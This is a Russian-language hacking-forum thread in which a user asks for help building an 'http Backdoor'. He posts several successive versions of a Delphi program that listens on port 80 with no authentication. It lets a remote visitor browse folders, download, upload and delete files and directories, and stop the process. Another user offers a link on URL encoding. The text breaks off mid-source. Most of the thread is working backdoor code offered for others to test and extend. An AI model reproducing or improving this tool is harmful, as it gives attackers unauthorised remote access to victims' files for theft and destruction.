прошу помощи в написании http Backdoor
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
прошу помощи в написании http Backdoor - 2010-05-29 00:04:11.953333
|
|
|
rat_splinter
Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
|
Доброго времени суток Хакеры =) вобщем решил на днях откапать какой нибуть простенький Backdoor для работы с файлами по HTTP. В иноге нинашол ничего =) хатя скарее всего так искал… единственное, что приглянулось- это библиотека SLESH'a - "Micro Web Server DLL" http://slesh.name/?act=releases&subact=show&nid=17 но т.к. в C++ я совершенно ничего не смылю- решил написать штото похожее на delphi… Собственно вот урезаная часть (та которая отвечает за "гулянию" по коталогам) того что получилось…. program web_root;
uses
winsock2,windows,sysutils;
const
LIST_PORT=80;
TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос
faDirectory=$00000010;
type
TFILE_PACKET=record
sock:dword;
fh:dword;
end;
PFILE_PACKET=^TFILE_PACKET;
var
WSData:TWSAData;
lsocket,csocket:dword;
size_caddr:integer;
caddr,laddr:sockaddr_in;
MainBuf:string;
tmpbuf:pchar;
len:integer;
StopFlag:boolean;
StartTime,NowTime:dword;
cmd:dword;
MainDir:pchar;
fn:string;
len0:integer;
function StrToInt(const s:string):integer;
var
i:integer;
begin
Val(s,result,i);
end;
function IntTostr(i:integer):string;
begin
str(i,result);
end;
procedure SendToClient(sock:tsocket;msg:string);
begin
send(sock,msg[1],length(msg),0);
end;
procedure ListDir(sock:tsocket;folder:string);
var
folder2,s:string;
FindData : TWin32FindData;
FindHandle : THandle;
Code:integer;
begin
s:=folder+'*.*';
FindHandle := FindFirstFile(pchar(s), FindData);
repeat
s := FindData.cFileName;
if (s='.') then begin continue; end; // убираем лишний пункт
Code := GetFileAttributesA(pchar(folder+s));
//Code := GetFileAttributesW(StringToPWide(folder+s));
folder2:=folder;
delete(folder2,1,length(maindir));
if(Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0) then
SendToClient(sock,'<li>[D] <a href="/3/'+folder2+s+'/">'+s+'</a><br>');
until not FindNextFile(FindHandle, FindData);
end;
function Header():string;
begin
result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10;
end;
function Location():string;
begin
result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10;
end;
function NotFound():string;
begin
result:='HTTP/1.0 404 Not Found'#13#10#13#10;
end;
function Body():string;
begin
result:='<html><head><title>web_root By 2FED v 1.0b</title><style type="text/css"><!--a {color:#FFF000;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--></style></head><body text="white" bgcolor="black">';
end;
begin
maindir:= pchar(ExtractFilePath(ParamStr(0)));
// maindir:=pchar('C:\');
if WSAStartup($202, WSData)=-1 then exit;
size_caddr:=sizeof(caddr);
lsocket:=socket(AF_INET, SOCK_STREAM, 0);
if lsocket=INVALID_HANDLE_VALUE then exit;
laddr.sin_family:=AF_INET;
laddr.sin_port:=htons(LIST_PORT);
laddr.sin_addr.s_addr:=INADDR_ANY;
if bind(lsocket,@laddr, sizeof(laddr))<>0 then
begin
CloseSocket(lsocket);
exit;
end;
if listen(lsocket, $100)<>0 then
begin
CloseSocket(lsocket);
exit;
end;
getmem(tmpbuf,2048);
while true do
begin
csocket:=accept(lsocket,caddr,size_caddr);
MainBuf:='';
StopFlag:=false;
StartTime:=GetTickCount();
repeat
len:=recv(csocket,tmpbuf^,2048,0);
if len>0 then MainBuf:=MainBuf+copy(tmpbuf,0,len);
if pos(#13#10#13#10,MainBuf)>0 then StopFlag:=true;
NowTime:=GetTickCount();
until (len<=0) or (StopFlag) or (NowTime-StartTime>TIME_LIMIT);
if StopFlag then
begin
delete(MainBuf,1,pos('GET /',MainBuf)+4);
cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1));
case cmd of
0:begin // Start
SendToClient(csocket,header());
SendToClient(csocket,body());
ListDir(csocket,maindir);
CloseSocket(csocket);
end;
3:begin // OPEN DIR
SendToClient(csocket,header());
SendToClient(csocket,body());
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4);
repeat
len0:=Pos('/', fn);
if len0<>0 then fn[len0]:='\';
until (len0=0);
ListDir(csocket,maindir+fn);
CloseSocket(csocket);
end;
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end. В принципи работает- но совершенно не воспринимает русские имена папок и пробелы… Очень прошу, подскажите в чём ошибка… сам думаю что всё дело в том что имена папок которые приходят по url нужно конвертить… но только во что и как-низнаю… З.Ы: Да , кстати если всётаки у когото есть сорцы чегото похожего на библиотеку SLESH'a на delphi плиз-поделитесь…
|
|
|
RE: прошу помощи в написании http Backdoor - 2010-05-29 12:52:26.740000
|
|
|
sbk
Сообщений: 144
Оценки: 0
Присоединился: 2008-12-20 19:01:57.273333
|
Может поможет http://ru.wikipedia.org/wiki/URL#.D0.9A.D0.BE.D0.B4.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_URL
|
|
|
RE: прошу помощи в написании http Backdoor - 2010-05-29 16:45:46.206666
|
|
|
rat_splinter
Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
|
СПАСИБО! помагло! вобщем по папкам теперь нормально перемещается, а вот со скачиванием файлов- проблема: если качать файл который находится в корне папки где находится сама програма- то всё оки! , а если путь к файлу например такой \444\новая папка\ff.txt то и файл скачивается с именем новая папкаff.txt собственно сам код:program web_root;
uses
winsock2,
windows,
sysutils,
Unit1 in 'Unit1.pas';
const
LIST_PORT=80;
TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос
faDirectory=$00000010;
type
TFILE_PACKET=record
sock:dword;
fh:dword;
end;
PFILE_PACKET=^TFILE_PACKET;
var
WSData:TWSAData;
lsocket,csocket:dword;
size_caddr:integer;
caddr,laddr:sockaddr_in;
MainBuf:string;
tmpbuf:pchar;
len:integer;
StopFlag:boolean;
StartTime,NowTime:dword;
cmd:dword;
MainDir:pchar;
fn:string;
len0:integer;
function StrToInt(const s:string):integer;
var
i:integer;
begin
Val(s,result,i);
end;
function IntTostr(i:integer):string;
begin
str(i,result);
end;
procedure SendToClient(sock:tsocket;msg:string);
begin
send(sock,msg[1],length(msg),0);
end;
procedure ListDir(sock:tsocket;folder:string);
var
folder2,s:string;
FindData : TWin32FindData;
FindHandle : THandle;
Code:integer;
begin
s:=folder+'*.*';
FindHandle := FindFirstFile(pchar(s), FindData);
repeat
s := FindData.cFileName;
if (s='.') then begin continue; end; // убираем лишний пункт
Code := GetFileAttributesA(pchar(folder+s));
//Code := GetFileAttributesW(StringToPWide(folder+s));
folder2:=folder;
delete(folder2,1,length(maindir));
if(Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0) then
SendToClient(sock,'<li>[D] <a href="/2/'+s+'/">[Del]</a> <a href="/3/'+folder2+s+'/">'+s+'</a><br>');
if(Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0) then
SendToClient(sock,'<li>[F] <a href="/2/'+s+'/">[Del]</a> <a href="/5/'+folder2+s+'/">'+s+'</a><br>');
until not FindNextFile(FindHandle, FindData);
end;
function Header():string;
begin
result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10;
end;
procedure FileProc(FP:PFILE_PACKET);stdcall;
var
buf:array[0..2048] of byte;
rb:dword;
begin
repeat
ReadFile(FP^.fh,buf,2048,rb,nil);
if (rb>0) and (rb<2049) then send(FP^.sock,buf,rb,0);
until (rb<1) or (rb>2048);
CloseHandle(FP^.fh);
CloseSocket(FP^.sock);
freemem(FP);
end;
procedure GetFile(sock:tsocket;name:string);
var
thId:dword;
f:dword;
FP:PFILE_PACKET;
fs:dword;
begin
f:=CreateFile(pchar(name),GENERIC_READ,FILE_SHARE_READ ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if f<>INVALID_HANDLE_VALUE then
begin
GetMem(FP,sizeof(TFILE_PACKET));
FP^.sock:=sock;
FP^.fh:=f;
fs:=GetFileSize(FP^.fh,nil);
SendToClient(FP^.sock,'HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-type: application/octet-stream'#13#10'Content-Disposition: attachment; filename="'+fn+'"'#13#10'Content-Length: '+inttostr(fs)+#13#10#13#10);
CreateThread(nil,0,@FileProc,FP,0,thid);
end;
end;
function Location():string;
begin
result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10;
end;
function NotFound():string;
begin
result:='HTTP/1.0 404 Not Found'#13#10#13#10;
end;
function Body():string;
begin
result:='<html><head><title>web_root By 2FED v 1.0b</title><style type="text/css"><!--a {color:#FFF000;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--></style></head><body text="white" bgcolor="black">';
end;
function Menu():string;
begin
result:='<a href="/1/" onclick=''if (!confirm("Остановить программу?")) return false;''>Stop Program</a><br>';
result:=result+'<a href="/0/">new file</a><hr>';
end;
begin
maindir:= pchar(ExtractFilePath(ParamStr(0)));
// maindir:=pchar('C:\');
if WSAStartup($202, WSData)=-1 then exit;
size_caddr:=sizeof(caddr);
lsocket:=socket(AF_INET, SOCK_STREAM, 0);
if lsocket=INVALID_HANDLE_VALUE then exit;
laddr.sin_family:=AF_INET;
laddr.sin_port:=htons(LIST_PORT);
laddr.sin_addr.s_addr:=INADDR_ANY;
if bind(lsocket,@laddr, sizeof(laddr))<>0 then
begin
CloseSocket(lsocket);
exit;
end;
if listen(lsocket, $100)<>0 then
begin
CloseSocket(lsocket);
exit;
end;
getmem(tmpbuf,2048);
while true do
begin
csocket:=accept(lsocket,caddr,size_caddr);
MainBuf:='';
StopFlag:=false;
StartTime:=GetTickCount();
repeat
len:=recv(csocket,tmpbuf^,2048,0);
if len>0 then MainBuf:=MainBuf+copy(tmpbuf,0,len);
if pos(#13#10#13#10,MainBuf)>0 then StopFlag:=true;
NowTime:=GetTickCount();
until (len<=0) or (StopFlag) or (NowTime-StartTime>TIME_LIMIT);
if StopFlag then
begin
delete(MainBuf,1,pos('GET /',MainBuf)+4);
cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1));
case cmd of
0:begin // Start
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,Menu());
ListDir(csocket,maindir);
CloseSocket(csocket);
end;
1:begin // PROGRAM STOPED
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,'PROGRAM STOPED');
CloseSocket(csocket);
ExitProcess(0);
end;
2:begin //DELET FILE
delete(MainBuf,1,pos('/',MainBuf));
fn:=copy(MainBuf,1,pos('/',MainBuf)-1);
DeleteFile(pchar(maindir+fn));
SendToClient(csocket,Location());
CloseSocket(csocket);
end;
3:begin // OPEN DIR
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,Menu());
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4);
repeat
len0:=Pos('/', fn);
if len0<>0 then fn[len0]:='\';
until (len0=0);
fn:=UrlDecode(fn);
fn:=Utf8ToAnsi(fn);
MessageBox(0, PChar(fn),PChar('WARNING!'), 0);
ListDir(csocket,maindir+fn);
CloseSocket(csocket);
end;
5:begin // DOWNLOAD
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5);
repeat
len0:=Pos('/', fn);
if len0<>0 then fn[len0]:='\';
until (len0=0);
fn:=UrlDecode(fn);
fn:=Utf8ToAnsi(fn);
GetFile(csocket,maindir+fn);
end;
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end. unit Unit1;
interface
function UrlDecode(const Str: string): string;
implementation
function HexToChar(W: Word): Char;
asm
cmp ah, 030h
jl @@error
cmp ah, 039h
jg @@10
sub ah, 30h
jmp @@30
@@10:
cmp ah, 041h
jl @@error
cmp ah, 046h
jg @@20
sub ah, 041h
add ah, 00Ah
jmp @@30
@@20:
cmp ah, 061h
jl @@error
cmp al, 066h
jg @@error
sub ah, 061h
add ah, 00Ah
@@30:
cmp al, 030h
jl @@error
cmp al, 039h
jg @@40
sub al, 030h
jmp @@60
@@40:
cmp al, 041h
jl @@error
cmp al, 046h
jg @@50
sub al, 041h
add al, 00Ah
jmp @@60
@@50:
cmp al, 061h
jl @@error
cmp al, 066h
jg @@error
sub al, 061h
add al, 00Ah
@@60:
shl al, 4
or al, ah
ret
@@error:
xor al, al
end;
function GetCh(P: PChar; var Ch: Char): Char;
begin
Ch := P^;
Result := Ch;
end; { GetCh }
function UrlDecode(const Str: string): string;
var
P : PChar;
Ch : Char;
begin
Result := '';
P := @Str[1];
while GetCh(P, Ch) <> #0 do begin
case Ch of
'+' : Result := Result + ' ';
'%' : begin
Inc(P);
Result := Result + HexToChar(PWord(P)^);
Inc(P);
end;
else Result := Result + Ch;
end;
Inc(P);
end;
end;
end.
|
|
|
RE: прошу помощи в написании http Backdoor - 2010-05-29 18:49:59.023333
|
|
|
rat_splinter
Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
|
Уф… Таки дописал =) …. Вобщем выкладывую первую, так сказать тестовую версию того что получилось… функционал пока что скудный…. В ближайшее время хочу добавить : [1] удаление папок [2] выводить размер файлов [3] заливка файлов Ну и собственно сам исходник….program web_root;
uses
winsock2,
windows,
sysutils,
Unit1 in 'Unit1.pas';
const
LIST_PORT=80;
TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос
faDirectory=$00000010;
type
TFILE_PACKET=record
sock:dword;
fh:dword;
end;
PFILE_PACKET=^TFILE_PACKET;
var
WSData:TWSAData;
lsocket,csocket:dword;
size_caddr:integer;
caddr,laddr:sockaddr_in;
MainBuf:string;
tmpbuf:pchar;
len:integer;
StopFlag:boolean;
StartTime,NowTime:dword;
cmd:dword;
MainDir:pchar;
fn:string;
function StrToInt(const s:string):integer;
var
i:integer;
begin
Val(s,result,i);
end;
function IntTostr(i:integer):string;
begin
str(i,result);
end;
function UrlToStr(url:string):string;
var
len3:integer;
begin
repeat
len3:=Pos('/', url);
if len3<>0 then url[len3]:='\';
until (len3=0);
result:=Utf8ToAnsi(UrlDecode(url));
end;
procedure SendToClient(sock:tsocket;msg:string);
begin
send(sock,msg[1],length(msg),0);
end;
procedure ListDir(sock:tsocket;folder:string);
var
folder2,s:string;
FindData : TWin32FindData;
FindHandle : THandle;
Code:integer;
begin
s:=folder+'*.*';
FindHandle := FindFirstFile(pchar(s), FindData);
repeat
s := FindData.cFileName;
if (s='.') then begin continue; end; // убираем лишний пункт
Code := GetFileAttributesA(pchar(folder+s));
//Code := GetFileAttributesW(StringToPWide(folder+s));
folder2:=folder;
delete(folder2,1,length(maindir));
if(Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0) then
SendToClient(sock,'<li>[D] <a href="/2/'+s+'/">[Del]</a> <a href="/3/'+folder2+s+'/">'+s+'</a><br>');
if(Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0) then
SendToClient(sock,'<li>[F] <a href="/2/'+folder2+s+'/">[Del]</a> <a href="/5/'+folder2+s+'/">'+s+'</a><br>');
until not FindNextFile(FindHandle, FindData);
end;
function Header():string;
begin
result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10;
end;
procedure FileProc(FP:PFILE_PACKET);stdcall;
var
buf:array[0..2048] of byte;
rb:dword;
begin
repeat
ReadFile(FP^.fh,buf,2048,rb,nil);
if (rb>0) and (rb<2049) then send(FP^.sock,buf,rb,0);
until (rb<1) or (rb>2048);
CloseHandle(FP^.fh);
CloseSocket(FP^.sock);
freemem(FP);
end;
procedure GetFile(sock:tsocket;name:string);
var
thId:dword;
f:dword;
FP:PFILE_PACKET;
fs:dword;
len2:integer;
filen:string;
begin
f:=CreateFile(pchar(name),GENERIC_READ,FILE_SHARE_READ ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if f<>INVALID_HANDLE_VALUE then
begin
GetMem(FP,sizeof(TFILE_PACKET));
FP^.sock:=sock;
FP^.fh:=f;
fs:=GetFileSize(FP^.fh,nil);
len2:=length(name);
repeat
len2:=len2-1;
until (name[len2]='\');
filen:=copy(name,len2+1,length(name));
SendToClient(FP^.sock,'HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-type: application/octet-stream'#13#10'Content-Disposition: attachment; filename="'+filen+'"'#13#10'Content-Length: '+inttostr(fs)+#13#10#13#10);
CreateThread(nil,0,@FileProc,FP,0,thid);
end;
end;
function Location():string;
begin
result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10;
end;
function NotFound():string;
begin
result:='HTTP/1.0 404 Not Found'#13#10#13#10;
end;
function Body():string;
begin
result:='<html><head><title>web_root By 2FED v 1.2b</title><style type="text/css"><!--a {color:#FFF000;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--></style></head><body text="white" bgcolor="black">';
end;
function Menu():string;
begin
result:='<a href="/1/" onclick=''if (!confirm("Остановить программу?")) return false;''>Stop Program</a><br>';
result:=result+'<a href="/0/">new file</a><hr>';
end;
begin
maindir:= pchar(ExtractFilePath(ParamStr(0)));
// maindir:=pchar('C:\');
if WSAStartup($202, WSData)=-1 then exit;
size_caddr:=sizeof(caddr);
lsocket:=socket(AF_INET, SOCK_STREAM, 0);
if lsocket=INVALID_HANDLE_VALUE then exit;
laddr.sin_family:=AF_INET;
laddr.sin_port:=htons(LIST_PORT);
laddr.sin_addr.s_addr:=INADDR_ANY;
if bind(lsocket,@laddr, sizeof(laddr))<>0 then
begin
CloseSocket(lsocket);
exit;
end;
if listen(lsocket, $100)<>0 then
begin
CloseSocket(lsocket);
exit;
end;
getmem(tmpbuf,2048);
while true do
begin
csocket:=accept(lsocket,caddr,size_caddr);
MainBuf:='';
StopFlag:=false;
StartTime:=GetTickCount();
repeat
len:=recv(csocket,tmpbuf^,2048,0);
if len>0 then MainBuf:=MainBuf+copy(tmpbuf,0,len);
if pos(#13#10#13#10,MainBuf)>0 then StopFlag:=true;
NowTime:=GetTickCount();
until (len<=0) or (StopFlag) or (NowTime-StartTime>TIME_LIMIT);
if StopFlag then
begin
delete(MainBuf,1,pos('GET /',MainBuf)+4);
cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1));
case cmd of
0:begin // Start
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,Menu());
ListDir(csocket,maindir);
CloseSocket(csocket);
end;
1:begin // PROGRAM STOPED
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,'PROGRAM STOPED');
CloseSocket(csocket);
ExitProcess(0);
end;
2:begin //DELET FILE
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5);
fn:=UrlToStr(fn);
DeleteFile(pchar(maindir+fn));
SendToClient(csocket,Location());
CloseSocket(csocket);
end;
3:begin // OPEN DIR
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,Menu());
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4);
fn:=UrlToStr(fn);
ListDir(csocket,maindir+fn);
CloseSocket(csocket);
end;
5:begin // DOWNLOAD
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5);
fn:=UrlToStr(fn);
GetFile(csocket,maindir+fn);
end;
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end. unit Unit1;
interface
function UrlDecode(const Str: string): string;
implementation
function HexToChar(W: Word): Char;
asm
cmp ah, 030h
jl @@error
cmp ah, 039h
jg @@10
sub ah, 30h
jmp @@30
@@10:
cmp ah, 041h
jl @@error
cmp ah, 046h
jg @@20
sub ah, 041h
add ah, 00Ah
jmp @@30
@@20:
cmp ah, 061h
jl @@error
cmp al, 066h
jg @@error
sub ah, 061h
add ah, 00Ah
@@30:
cmp al, 030h
jl @@error
cmp al, 039h
jg @@40
sub al, 030h
jmp @@60
@@40:
cmp al, 041h
jl @@error
cmp al, 046h
jg @@50
sub al, 041h
add al, 00Ah
jmp @@60
@@50:
cmp al, 061h
jl @@error
cmp al, 066h
jg @@error
sub al, 061h
add al, 00Ah
@@60:
shl al, 4
or al, ah
ret
@@error:
xor al, al
end;
function GetCh(P: PChar; var Ch: Char): Char;
begin
Ch := P^;
Result := Ch;
end; { GetCh }
function UrlDecode(const Str: string): string;
var
P : PChar;
Ch : Char;
begin
Result := '';
P := @Str[1];
while GetCh(P, Ch) <> #0 do begin
case Ch of
'+' : Result := Result + ' ';
'%' : begin
Inc(P);
Result := Result + HexToChar(PWord(P)^);
Inc(P);
end;
else Result := Result + Ch;
end;
Inc(P);
end;
end;
end. если кому не жалко времени- прошу потестить и указать на ошибки, ну или места где можно было бы по красивее написать… З.Ы. если когото идея заинтересует и захочет помоч с дальнейшим наращиванием функционала - стучите 50-832-191 ну или в пм пишите
|
|
|
RE: прошу помощи в написании http Backdoor - 2010-06-02 00:50:42.816666
|
|
|
rat_splinter
Сообщений: 40
Оценки: 0
Присоединился: 2007-12-15 02:23:31.840000
|
Ну вот , реализовал что хотел, теперь эта вся байда умеет: [1]перемещение по папкам [2]скачивание и просмотр файлов [3]удаление файлов\каталогов [4]Upload файлов… С последним пунктом пока не всё так хорошо как хателось бы, а именно: заливаются толька тхт файлы,и только с оперы, приэтом закаченый файл какимто образом на 1байт больше чем тот который отправлялся… Скарее всего всё из за того что я использую TStrings… сегодня попробую переписать на WriteFile… правда пока ни очень понимаю как пользоваться этой функцией(если кто подскажет-буду очень примногоблагодарен)… Ни и сам исходник: program web_root;
uses
winsock2,
windows,
sysutils,
classes,
Unit1 in 'Unit1.pas';
const
LIST_PORT=80;
TIME_LIMIT=10*1000; // 10 секунд чтобы получить GET запрос
faDirectory=$00000010;
type
TFILE_PACKET=record
sock:dword;
fh:dword;
end;
PFILE_PACKET=^TFILE_PACKET;
var
WSData:TWSAData;
lsocket,csocket:dword;
size_caddr:integer;
caddr,laddr:sockaddr_in;
MainBuf:string;
tmpbuf:pchar;
len:integer;
StopFlag:boolean;
StartTime,NowTime:dword;
cmd:dword;
MainDir:pchar;
save2,save1,fn:string;
f:TStrings;
function StrToInt(const s:string):integer;
var
i:integer;
begin
Val(s,result,i);
end;
function IntTostr(i:integer):string;
begin
str(i,result);
end;
function UrlToStr(url:string):string;
var
len3:integer;
begin
repeat
len3:=Pos('/', url);
if len3<>0 then url[len3]:='\';
until (len3=0);
result:=Utf8ToAnsi(UrlDecode(url));
end;
procedure SendToClient(sock:tsocket;msg:string);
begin
send(sock,msg[1],length(msg),0);
end;
procedure ListDir(sock:tsocket;folder:string);
var
size,folder2,s:string;
FindData : TWin32FindData;
FindHandle : THandle;
Code:integer;
begin
//MessageBox(0, PChar(folder),PChar('WARNING!'), 0);
folder2:=folder;
delete(folder2,1,length(maindir));
SendToClient(sock,'<a href="/6/'+folder2+'">upload file</a><hr>');
FindHandle := FindFirstFile(pchar(folder+'*.*'), FindData);
repeat
s := FindData.cFileName;
if (s='.') then begin continue; end; // убираем лишний пункт
Code := GetFileAttributesA(pchar(folder+s));
//Code := GetFileAttributesW(StringToPWide(folder+s));
if(Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0) then
SendToClient(sock,'[D] <a href="/4/'+s+'/">[Del]</a> <a href="/3/'+folder2+s+'/">'+s+'</a><br>');
if(Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0) then begin
if FindData.nFileSizeLow>1000000 then size:=inttostr(FindData.nFileSizeLow div 1000000)+' Mbyte' else
if FindData.nFileSizeLow>1000 then size:=inttostr(FindData.nFileSizeLow div 1000)+' Kbyte' else
size:=inttostr(FindData.nFileSizeLow)+' byte';
SendToClient(sock,'[F] <a href="/2/'+folder2+s+'/">[Del]</a> <a href="/5/'+folder2+s+'/">'+s+' ('+size+')</a><br>');
end;
until not FindNextFile(FindHandle, FindData);
end;
function DeleteDir(sDir : string):string;
var
iIndex: Integer;
SearchRec: TSearchRec;
sFileName: string;
begin
sDir := sDir + '\*.*';
iIndex := FindFirst(sDir, faAnyFile, SearchRec);
while iIndex = 0 do
begin
sFileName := ExtractFileDir(sDir)+'\'+SearchRec.name;
if SearchRec.Attr = faDirectory then
begin
if (SearchRec.name <> '' ) and (SearchRec.name <> '.') and
(SearchRec.name <> '..') then
DeleteDIR(sFileName);
end
else
begin
if SearchRec.Attr <> faArchive then
FileSetAttr(sFileName, faArchive);
DeleteFile(sFileName);
end;
iIndex := FindNext(SearchRec);
end;
FindClose(SearchRec);
RemoveDir(ExtractFileDir(sDir));
end;
function Header():string;
begin
result:='HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-Type: text/html; charset=windows-1251'#13#10#13#10;
end;
procedure FileProc(FP:PFILE_PACKET);stdcall;
var
buf:array[0..2048] of byte;
rb:dword;
begin
repeat
ReadFile(FP^.fh,buf,2048,rb,nil);
if (rb>0) and (rb<2049) then send(FP^.sock,buf,rb,0);
until (rb<1) or (rb>2048);
CloseHandle(FP^.fh);
CloseSocket(FP^.sock);
freemem(FP);
end;
procedure GetFile(sock:tsocket;name:string);
var
thId:dword;
f:dword;
FP:PFILE_PACKET;
fs:dword;
len2:integer;
filen:string;
begin
f:=CreateFile(pchar(name),GENERIC_READ,FILE_SHARE_READ ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if f<>INVALID_HANDLE_VALUE then
begin
GetMem(FP,sizeof(TFILE_PACKET));
FP^.sock:=sock;
FP^.fh:=f;
fs:=GetFileSize(FP^.fh,nil);
len2:=length(name);
repeat
len2:=len2-1;
until (name[len2]='\');
filen:=copy(name,len2+1,length(name));
SendToClient(FP^.sock,'HTTP/1.0 200 OK'#13#10'Connection: close'#13#10'Content-type: application/octet-stream'#13#10'Content-Disposition: attachment; filename="'+filen+'"'#13#10'Content-Length: '+inttostr(fs)+#13#10#13#10);
CreateThread(nil,0,@FileProc,FP,0,thid);
end;
end;
function Location():string;
begin
result:='HTTP/1.0 302 Found'#13#10'Location: /0/'#13#10#13#10;
end;
function NotFound():string;
begin
result:='HTTP/1.0 404 Not Found'#13#10#13#10;
end;
function Body():string;
begin
result:='<html><head><title>web_root By 2FED v 1.2b</title><style type="text/css"><!--a {color:#00EE00;text-align: center; text-decoration:none;}a:hover {color:#FF0000;text-align: center; text-decoration:none;}--></style></head><body text="white" bgcolor="black">';
end;
function Menu():string;
begin
result:='<a href="/1/" onclick=''if (!confirm("Остановить программу?")) return false;''>Stop Program</a><br>';
//result:=result+'<a href="/0/">new file</a><hr>';
end;
function UpFile():string;
begin
result:='<form action="upload.php" method="post" enctype="multipart/form-data">'+
'<input type="file" name="filename"><br>'+
'<input type="submit" value="Загрузить"><br>'+
'</form>'#13#10#13#10;
end;
var
len6,len4,len5:integer;
na4inka,filename,save_hesh:string;
begin
maindir:= pchar(ExtractFilePath(ParamStr(0)));
// maindir:=pchar('C:\');
if WSAStartup($202, WSData)=-1 then exit;
size_caddr:=sizeof(caddr);
lsocket:=socket(AF_INET, SOCK_STREAM, 0);
if lsocket=INVALID_HANDLE_VALUE then exit;
laddr.sin_family:=AF_INET;
laddr.sin_port:=htons(LIST_PORT);
laddr.sin_addr.s_addr:=INADDR_ANY;
if bind(lsocket,@laddr, sizeof(laddr))<>0 then
begin
CloseSocket(lsocket);
exit;
end;
if listen(lsocket, $100)<>0 then
begin
CloseSocket(lsocket);
exit;
end;
getmem(tmpbuf,2048);
while true do
begin
csocket:=accept(lsocket,caddr,size_caddr);
MainBuf:='';
StopFlag:=false;
StartTime:=GetTickCount();
repeat
len:=recv(csocket,tmpbuf^,2048,0);
if len>0 then MainBuf:=MainBuf+copy(tmpbuf,0,len);
if pos(#13#10#13#10,MainBuf)>0 then StopFlag:=true;
NowTime:=GetTickCount();
until (len<=0) or (StopFlag) or (NowTime-StartTime>TIME_LIMIT);
if StopFlag then
begin
// MessageBox(0, PChar(MainBuf),PChar('WARNING!'), 0);
if (pos('POST /',MainBuf))<>0 then begin
cmd:=7;
end else begin
delete(MainBuf,1,pos('GET /',MainBuf)+4);
cmd:=strtoint(copy(MainBuf,1,pos('/',MainBuf)-1));
end;
case cmd of
0:begin // Start
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,Menu());
ListDir(csocket,maindir);
CloseSocket(csocket);
end;
1:begin // PROGRAM STOPED
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,'PROGRAM STOPED');
CloseSocket(csocket);
ExitProcess(0);
end;
2:begin //DELET FILE
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5);
fn:=UrlToStr(fn);
DeleteFile(pchar(maindir+fn));
SendToClient(csocket,Location());
CloseSocket(csocket);
end;
3:begin // OPEN DIR
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,Menu());
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4);
fn:=UrlToStr(fn);
ListDir(csocket,maindir+fn);
CloseSocket(csocket);
end;
4:begin //DELET DIR
fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5);
fn:=UrlToStr(fn);
DeleteDIR(maindir+fn);
SendToClient(csocket,Location());
CloseSocket(csocket);
end;
5:begin // DOWNLOAD
